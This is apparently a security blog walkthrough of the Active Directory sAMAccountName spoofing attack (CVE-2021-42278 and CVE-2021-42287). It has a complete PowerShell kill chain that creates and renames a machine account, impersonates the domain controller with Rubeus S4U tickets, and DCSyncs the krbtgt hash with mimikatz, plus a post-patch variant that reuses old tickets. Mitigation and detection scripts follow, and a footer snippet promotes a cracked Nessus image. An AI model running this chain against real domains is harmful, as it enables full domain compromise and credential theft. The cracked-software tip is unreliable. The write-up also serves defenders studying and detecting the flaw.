Skip to main content

Samaccountname spoofing with kerberos | cve-2021-42278 and cve-2021-42287

cve-42278 --> spoof the samaccountname of computer account thus impersonating domain controller. 

cve-42287 --> affect the PAC thus impersonating DC. 

both the vulnerabilities has been patched now by Microsoft November 2021 update.


Attribution:

its worth mentioning that everything i am writing in this blog is a contribution of the Cloud Brothers. 

#Attach Scenario: 1

the attacker has gained foothold on a workstation. the domain is using the default configuration and thus the logged in user has the following permissions:

SeMachineAccountPrivilege

MS-DS-Machine-Account-Quota

the 1st one meaning or translates to "add workstations to domain" but it can only be abused if the MS-DS-Machine-Account-Quota parameter is not set to 0. in this case any user can create up to 10 default computer object in AD.

#Attach Scenario: 2

the attacker has gained foothold on a workstation. this time the domain is hardened to at some extend thus not every user can create computer object in AD. so attacker has to find a AD user who has the following permissions:

SeMachineAccountPrivilege

CreateChild of object type Computer (bf967a86-0de6-11d0-a285-00aa003049e2) in any AD organizational unit or the default Computers container

this could be an automation account that is used for domain join or used by helpdesk user that was grandted those permissions. 

#Attack Scenario: 3

you can use this attack vector when creating user account. 

https://exploit.ph/more-samaccountname-impersonation.html

 

#Attack:

note: 

all commands used in this example use defined credentials of a unprivliged user from a non domain joined windows workstation. 

if scenario 2 is used, then attacker has to create the computer object in AD organizational unit that he/she has access to. 

Special thanks to Kevin Robertson for Powermad, Will Schroeder aka @harmj0y for PowerView and Rubeus, and Benjamin Delpy aka gentilkiwi for mimikatz and all the people working on those projects.

https://github.com/Kevin-Robertson/Powermad/

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

https://github.com/GhostPack/Rubeus

https://github.com/gentilkiwi/mimikatz

 

the attacker creates a computer object using those permissions with a password known to him/her. after that attacker clears the serviceprinciplename attribute of that computer object. because as attacker creates the object so he/she gets granted additional permissions and can do many changes to the object. in the first command as -Password $password is confusing so you can skip -Password $password. then when you give enter using rest of the command; then it will ask for password. or if you still use -Password $password then you are may be asked to enter the computer account password once you execute the whole command. 


when you give $Creds = Get-Credential and hit enter, then a dialog box will open asking your domain username and password. provide that to proceed if you are doing this attack from a unpriv user account and domain not joined computer. but if you do this on a domain joined computer then you dont have to do this and have to remove $Creds variable from later commands. 

below is the list of all permissions the creator owner is granted by default. this information is accessible in the AD schema. 


 now attacker changes the samaccountname of the computer object that he/she created earlier to the name of any domain controller without the trailing $. by default every commputer account uses this $ sign as the last character of the samaccountname. 


 if the main domain controller is called DC01 then the samaccountname of the domain controller would be DC01$. when attacker change his/her computer object name as DC01 then AD does not check for this behavior and let attacker change the name. This is cve-2021-42278

now using rubeus tool, attacker request a kerberos TGT for the account DC01 using the password that attacker used to create the computer object. the TGT is created and must be kept for the next steps. 


once attacker get the TGT of DC01 the attacker change the samaccountname of the computer back to the original value which is ControlledComputer$.


this is where KDC messes up with cve-2021-42287. because PAC validation is not done. thus the next steps happens. so now using that TGT attacker request for TGS for ldap/ SPN on the domain controller using S4U for the domain Administrator account. since there is no longer any account with the samaccountname DC01 the KDC tries to find something similar and adds the $ sign. since this is a valid computer object, and it is the domain controller and it has the needed permissions to get a TGS for the domain admin, so the KDC returns the key to the kingdom. 


to demonstrate that the attacker now has access to the domain controller, we (cloudbrothers) have added additional TGS for cifs/DC01 and could access the system root drive over the network. this is not necessary for the attack to work. 


for persistence the attacker can now use mimikatz to dump the hash html of the krbtgt account. for this a TGS for ldap/DC01 must be obtained like the below image shown.


 

Automated kill chain:

#region Preparations
klist purge
. "$($env:USERPROFILE)\Downloads\Powermad-master\Powermad.ps1"
. "$($env:USERPROFILE)\Downloads\PowerView.ps1"
#endregion

#region Use a unpriv user to start this attack. If you are already on a domain joined machine you won't need to this and have to remove the $Creds variable from later commands
$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\USERNAME", $password)
cls
#endregion

#region create a computer account
Write-Output "Create a new Computer Account"
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $password -Domain "cve.lab" -DomainController "DC01.cve.lab" -Credential $Creds  -Verbose
#endregion

#region Remove ServicePrincipalName attribute
Write-Output "Clear SPN from Computer Account object"
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=CVE,DC=LAB" -Clear 'serviceprincipalname' -Server dc01.cve.lab -Credential $Creds -Domain cve.lab -Verbose
#endregion

#region Change SamAccountName
Write-Output "Rename SamAccountName to DC01"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose
#endregion

#region Obtain a TGT
Write-Output "Obtain TGT from DC01 using password from created computer object"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" asktgt /user:"DC01" /password:"ComputerPassword" /domain:"cve.lab" /dc:"DC01.cve.lab" /outfile:kerberos.tgt.kirbi
#endregion

#region Change SamAccountName back
Write-Output "Rename SamAccountName back to DControlledComputer`$"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose
#endregion

#region Obtain TGS for CIFS access
Write-Output "Get TGS for CIFS/DC01"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
#endregion

#region Verify access
Write-Output "Check file access to DC01"
Get-Childitem \\DC01.cve.lab\c$
#endregion

#region DCSync krbtgt for persistence
Write-Output "Get TGS for LDAP/DC01"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit
#endregion
 


 #changes after applying the patch:


    KB5007247 - Windows Server 2012 R2
    KB5008601 - Windows Server 2016
    KB5008602 - Windows Server 2019
    KB5007205 - Windows Server 2022

Microsoft issued out-of-band patches for windows server 2016 and 2019 because the initial fix broke kerberos S4u2self in many cases completely. 

as soon as the November 2021 patch is applied any change of the samaccountname to a different value (i.e. we have changed our computer object samaccount name which is ControlledComputer to value DC01) is protected by different checks to prevent a normal user to change it to something with a $ sign at the end or without $ sign at the end. 

#command for when attacker change the computer object name to DC01

Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose

#command for when attacker rename computer object again to ControlledComputer$ after getting the TGT.


when the attacker changed the samaccountname at the end of the attack back to the vulnerable value (which is ControlledComputer$) the following is even not changed by installing the patch. It still remains as DC01.

#warning:

any user with administrative permissions is still able to change the samaccountname to any value.


#Use of previous obtained TGT when patch is applied: Exploit after patch using previous TGT


$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAINSERNAME", $password)
# Set samAccountName to a valid value to use TGT
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

# Obtain TGS for LDAP/DC01 using the previous obtained TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit

Write-Output "Because we have a valid TGS let's change the samAccountName again to DC01"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose

as we can understand by reading the above TGT command is, when patch is not applied then TGT has been captured by setting the ControlledComputer value to ControlledComputer$

TGT is saved under kerberos.tgt.kirbi file. 

used mimikatz to perform dcsync attack. using user krbtgt and TGS is already imported on the existing token DC thinking its the DC again which performing dcsync. so it gives the all hashes. 

patch is applied but we can still change the value from ControlledComputer to DC01 because we have the valid TGS and this is attached with our token.  


this behavior goes undetected. but the patch installed a additional detection mechanism and logs the following event in the security log of the domain controller. 



#lets now do one thing more. say patch has been done. now lets obtain the TGT again to perform the full attack chain. 

lets assume the attacker still put computer object with the malicious samaccountname in place, lets see what happens if she tries to do the full kill chain again:

steps in short as follows:

1. obtain TGT

2. change samaccountname

3. obtain TGS using the new TGT

4. dcsync krbtgt

# Obtain new TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" asktgt /user:"DC01" /password:"ComputerPassword" /domain:"cve.lab" /dc:"DC01.cve.lab" /outfile:kerberosAfterPatch.tgt.kirbi

$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAINUSERNAME", $password)
# Set samAccountName to a valid value to use TGT
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

# Obtain TGS for LDAP/DC01 using the previous obtained TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberosAfterPatch.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit

Write-Output "Try to change the samAccountName back to the wrong samAccountName"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose


as we can see the attack is no longer possible. the newly created TGT contains additional information in the PAC part of the ticket that is used to verify it is the original requestor who was requested the TGT to request a TGS. 

DC logs the following event in this case:


#Further hardening:

the behavior that we saw in previous obtained TGT phase is not because of incomplete patch but it is a part of Microsoft effors to allow for a transition phase untill all domain controller have installed the update and all kerberos tickets are secured with the additional requestor information. this is done because legitimate user might have old TGT and might have requested TGT from a DC who is not patched. it will then break operation for regular user. 

deadline for enforcing the new changes in all environments is july 12 2022.

until april 12 2022 the administrator could even disable this TGT security check.

To protect your environment before this date you can create a registry value named PacRequestorEnforcement of type REG_DWORD in the registry subkey HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc and assign it a value of 2.

After this any old TGT without the proper validation information cannot be used anymore.

#warning:

If you enable this and any domain controller in your environment is not patched, this enforcement will break operation for regular users that have obtained their TGT from the unpatched DC. Apply the patch first, monitor your event logs and enforce after you are sure there are no negative side effects.


New-ItemProperty HKLM:\System\CurrentControlSet\Services\Kdc -Name PacRequestorEnforcement -Value 2 -Type Dword


 
 


#Detection:

To find any computer accounts that have a invalid SamAccountName property use this query.

Get-ADComputer -Filter { samAccountName -notlike "*$" }

To quickly analyze your domain controller event logs, you can use the following PowerShell code. It uses PowerShell Remoting to execute the Get-WinEvent locally on the DC which is faster and only the WinRM ports must be open on firewall of the domain controller. 

https://gist.github.com/f-bader/d7e2371d5d5760b427697b7464e72cb1

 

<#
    CVE-2021-42287 - Authentication updates
    CVE-2021-42278 - Active Directory Security Accounts Manager hardening changes
    These updates introduced additional Event Ids to monitor.
    Use this script to check every domain controller for those eventIds
#>
$EventIds = @{
    35    = "PAC without attributes"
    36    = "Ticket without a PAC"
    37    = "Ticket without Requestor"
    38    = "Requestor Mismatch"
    16990 = "Object class and UserAccountControl validation failure"
    16991 = "SAM Account Name validation failure"
}

$DomainController = Get-ADDomain | Select-Object -ExpandProperty ReplicaDirectoryServers
foreach ($ComputerName in $DomainController) {
    $Events = Invoke-Command -ComputerName $ComputerName -ScriptBlock { param([string[]]$EventIds) $EventIds | Out-Null ; Get-WinEvent -EA 0 -FilterHashtable @{LogName = 'System'; id = $EventIds } | Where-Object { $_.ProviderName -in @('Microsoft-Windows-Kerberos-Key-Distribution-Center', 'Microsoft-Windows-Directory-Services-SAM') } } -ArgumentList (, $EventIds.Keys)

    foreach ($Event in $Events) {
        [PSCustomObject]@{
            TimeCreated = $Event.TimeCreated
            Id          = $Event.Id
            EventGroup  = $EventIds[$Event.Id]
            Reason      = $Event.Message
        }
    }
}





Comments

Popular posts from this blog

Install Nessus from docker

The below two commands you need to run first one by one:  docker run -itd --name=ramisec_nessus -p 8834:8834 ramisec/nessus docker exec -it ramisec_nessus /bin/bash /nessus/update.sh Username: admin And you need to change the password: #Enter the command line of the docker container docker exec -it ramisec_nessus bash #Execute the following commands in sequence # Enter this directory cd /opt/nessus/sbin # List logged in users ./nessuscli lsuser # Modify the password of the specified user (take admin as an example) ./nessuscli chpasswd admin After access to the nessus, make sure you turn off the automatic updates otherwise crack will not work after some time. Before any scan you need to run the update.sh command (shown above) to have the latest plugins. Now everytime your system reboots, your docker instance will be shutdown. You need to up it again manually. Here are the commands.  1. docker ps -a    Now note down the container id. 2. docker start <container id> C

net command cheat sheet

  To see what users present in the system: net user To see local groups in the system: net localgroup To see domain groups. This should be run on a domain controller: net group To see the details of a user along with his/her group membership: net user mahim To see who are the members of a particular group (local machine): net localgroup "administrators"    (These are not case sensitive. You can use administrators or Administrators. Both will give you same result. To see who are the members of a particular group (domain machine): net group "domain admins" Create a local user: net user localuser1 MyP@ssw0rd /add Create a domain user: net user domainuser1 MyP@ssw0rd /add /domain Add the local user to local admin group: net localgroup Administrators localuser1 /add Add the user to domain admin group: net group "Domain Admins" domainuser1 /add /domain Avi